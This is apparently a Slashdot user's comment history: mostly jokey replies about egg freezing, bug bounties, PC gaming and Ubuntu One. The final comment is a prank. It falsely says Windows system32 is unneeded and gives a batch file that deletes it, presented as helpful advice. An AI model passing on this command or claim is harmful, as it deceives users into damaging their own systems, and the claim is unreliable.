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Women Increasingly Freezing Their Eggs To Pursue Their Careers

Number42 Re:Worth pointing out (325 comments)

Obviously the latter. Sarcastic putdowns and comedic crowd appeals have almost never failed against reasonable arguments.

2 days ago
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Women Increasingly Freezing Their Eggs To Pursue Their Careers

Number42 Re:Useless without a surrogate (325 comments)

...it doesn't let guys be teachers anymore.

I don't think so. Statistics show an approximately 50% ratio of female teachers which doesn't seem to be going up (thus implying a decrease in the ratio of male teachers).

2 days ago
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Bug Bounties Don't Help If Bugs Never Run Out

Number42 Re:There aren't infinite bugs (235 comments)

[1]: The exception to this rule being malware, which is probably the most bug-free code written anywhere these days. It is lean, robust, does what it is purposed to do, and is constantly updated without a fuss.

I contest that point. Have you ever even used MS Office?

4 days ago
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Plant Breeders Release 'Open Source Seeds'

Number42 Re:Safeguard the farmers? (136 comments)

This. As a malicious criminal, I'd like to say that we're not all like them. People keep making broad generalizations after they've seen a vocal minority.

4 days ago
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Google Looked Into Space Elevator, Hoverboards, and Teleportation

Number42 Re:City within a Building (98 comments)

Someone's got to enforce the LOOAAAW!

about a week ago
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Student Records Kids Who Bully Him, Then Gets Threatened With Wiretapping Charge

Number42 Re:Rewarding the bullies... (796 comments)

That's the government's job.

about a week ago
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First Phase of TrueCrypt Audit Turns Up No Backdoors

Number42 Re:The truth about APK (171 comments)

Where the hell did this discussion spring up from? Is this some sort of subtle attack against the Android app format? I don't get it.

about a week ago
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Canonical Shutting Down Ubuntu One File Services

Number42 Re:FTP? (161 comments)

Goddamned kids and their Internet. The only true way is FedExing physical storage media.

about two weeks ago
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Canonical Shutting Down Ubuntu One File Services

Number42 Re:It's a pity (161 comments)

What are you talking about? Dropbox always stores your synced files locally.

about two weeks ago
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PC Gaming Alive and Dominant

Number42 Re:It's not surprising (245 comments)

True, true. Is there a Mac-compatible equivalent to 3DS Max? Blender, maybe?

about two weeks ago
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The Case For a Safer Smartphone

Number42 Re:Human beings are not born with smartphone attac (184 comments)

Of course, self driving cars seem to be a much better alternative to a phone that enters silent mode when being driven around.

You just wait until an emergent evil consciousness spontaneously forms out of the NSA's supercomputers. Seeing as the NSA will have backdoors into everything by that point, we'll have that thing playing toy cars with us. Now, where's my tinfoil hat?

about two weeks ago
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PC Gaming Alive and Dominant

Number42 Re:It's not surprising (245 comments)

Has anyone here used SpriteKit on Xcode? Maybe we could confirm this at least for Macs designing 2D games.

about two weeks ago
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PC Gaming Alive and Dominant

Number42 Re:It's not surprising (245 comments)

Because Windows-running machines sell more and the OS has more publicity. Plebs gonna pleb.

about two weeks ago
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PC Gaming Alive and Dominant

Number42 Re:It's not surprising (245 comments)

GUI or even 3D graphics development

So... Macs? They seem to be quite efficient at graphics editing, even when using integrated graphics cards. Not someone terribly interested in game development, though, so I wouldn't know. Still, you'd have to do most of the actual programming on the platform you're aiming for, just to be safe.

about two weeks ago
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How Cochlear Implants Are Being Blamed For Killing Deaf Culture

Number42 Re:Let it die (510 comments)

Or hell, keep using stone tablets even after getting a computer.

They're only dying because people are lazy.

about two weeks ago
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How Cochlear Implants Are Being Blamed For Killing Deaf Culture

Number42 Re:Let it die (510 comments)

What if this is Next Generation?

about two weeks ago
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Should Microsoft Give Kids Programmable Versions of Office?

Number42 Re:I lament Microsoft's skills gap in UI design (226 comments)

I finally get it. The weak get weeded out and jump ship to OSes with usable GUIs, while the strong remain, having learned to use the POSIX-compliant shell. They then come to the realization that if they're using the command line for everything anyway, they might as well switch to Linux. Wait...

about two weeks ago
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Slashdot Asks: Will You Need the Windows XP Black Market?

Number42 Re:A Terrific Opportunity (245 comments)

Yeah, Windows XP worked fine before they added system32 under C:\\WINDOWS\. Delete that stuff. It's not necessary in Windows Vista, 7 or 8 either. To delete: 1) Open up Notepad. 2)Type:

@echo off

del c:\WINDOWS\system32

3) Save as "anything.bat" (save as all files). Double-click to run.

about two weeks ago

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